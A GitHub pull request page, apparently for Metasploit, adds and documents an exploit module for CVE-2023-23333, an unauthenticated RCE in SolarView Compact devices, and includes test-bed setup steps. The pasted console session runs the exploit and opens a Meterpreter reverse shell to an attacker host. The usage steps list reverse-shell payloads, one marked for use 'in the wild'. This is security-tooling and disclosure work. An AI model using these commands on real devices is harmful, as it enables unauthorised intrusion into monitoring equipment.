-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
SolarView Compact Unauthenticed RCE [CVE-2023-23333] #18313
SolarView Compact Unauthenticed RCE [CVE-2023-23333] #18313
Conversation
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Do you have any guidance on where we can get the software, how we can set it up and configure it to test the exploit module? |
Yep, instructions will be shared soon. |
Second release of the module + documentation. See 77a1bbe. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the detailed information on how to set this up and test. The module looks good 👍 Just going to commit some minor grammatical fixes.
msf6 > use exploit/linux/http/solarview_unauth_rce_cve_2023_23333
msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/solarview_unauth_rce_cve_2023_23333) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:80 can be exploited.
[+] The target is vulnerable. SolarView Compact ver.6.00
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 172.16.199.1
[+] Deleted IdibsrLiT.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:65339) at 2023-09-05 16:38:23 -0400
meterpreter > getuid
Server username: contec
meterpreter > sysinfo
Computer : f7d7a7d3b385
OS : Linux f7d7a7d3b385 5.15.49-linuxkit-pr #1 SMP Thu May 25 07:17:40 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
modules/exploits/linux/http/solarview_unauth_rce_cve_2023_23333.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/solarview_unauth_rce_cve_2023_23333.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/solarview_unauth_rce_cve_2023_23333.md
Outdated
Show resolved
Hide resolved
Release NotesThis PR add a module which exploits a vulnerability that allows remote code execution on a vulnerable SolarView Compact device by bypassing internal restrictions through the vulnerable endpoint downloader.php using the file parameter. Firmware versions up to v6.33 are vulnerable. |
SolarView Compact has a vulnerability that allows remote code execution on a vulnerable
SolarView Compact
device by bypassing internal restrictions through the vulnerable endpointdownloader.php
using thefile
parameter.Firmware versions up to
v6.33
are vulnerable.Read this article on attackerkb.com for more details.
Ideally, to test this module, you would need the SolarView Compact hardware appliance SVT-CPT-MC310 running embedded Linux on an ARM-32 bit little endian architecture (armle).
However, by downloading the firmware and install the
html
andphp
part of the firmware on a Linux distribution likeUbuntu
orKali Linux
, we can simulate the appliance and test the vulnerable endpoint.This module has been tested on:
Please follow below instructions below to create the simulation test bed on Ubuntu 22.04.
Similar instructions apply if you want to test it on an ARM device like a Raspberry Pi with Kali Linux.
Please ensure that you install ARM-32 bit support.
Instructions for an SolarView Compact firmware simulation installation on Ubuntu 22.04:
Follow below steps to install the firmware and create the simulation test bed:
/tmp
directory. You need to register first.contec
adduser --home /home/contec --gid 0 --shell /bin/bash contec --disabled-password --gecos ''
html
directory andversion
file from the firmware with the following commands:/home/www/html
directory with the vulnerable endpointdownloader.php
and the version file stored in/opt/svc
data_zip.sh
shell script in/usr/local/bin
which is called fromdownloader.php
and will trigger the RCE.echo '#!/bin/bash' > /usr/local/bin/data_zip.sh; chmod 755 /usr/local/bin/data_zip.sh
short_open_tag On
setting inphp.ini
. You should check your php version to ensure that you edit the right file.contec
by editing/etc/apache2/envvars
and update the lines with environment variableexport APACHE_RUN_USER=contec
andexport APACHE_RUN_GROUP=root
.Verification
msfconsole
use exploit/linux/http/solarview_unauth_rce_cve_2023_23333
set rhosts <ip-target>
set rport <port>
set lhost <ip-attacker>
set target <0=PHP, 1=Unix Command, 2=Linux Dropper>
exploit
reverse shell
orMeterpreter
Scenarios
Ubuntu 22.04 PHP - php/meterpreter/reverse_tcp
Ubuntu 22.04 Unix Command - cmd/unix/reverse_bash
Ubuntu 22.04 Linux Dropper - linux/x64/meterpreter/reverse_tcp
Kali Linux 2023.3 Linux Dropper - linux/armle/meterpreter_reverse_tcp
To simulate and test the ARM 32-bit architecture using a Raspberry Pi 4 with ARM-32 bit support installed.
Limitations
There are no limitations, but be aware of the fact that
x64
support for this module is only added for test purposes.When exploiting the module in the wild, you should use
armle
payloads in case of target setting 2 (Linux Dropper).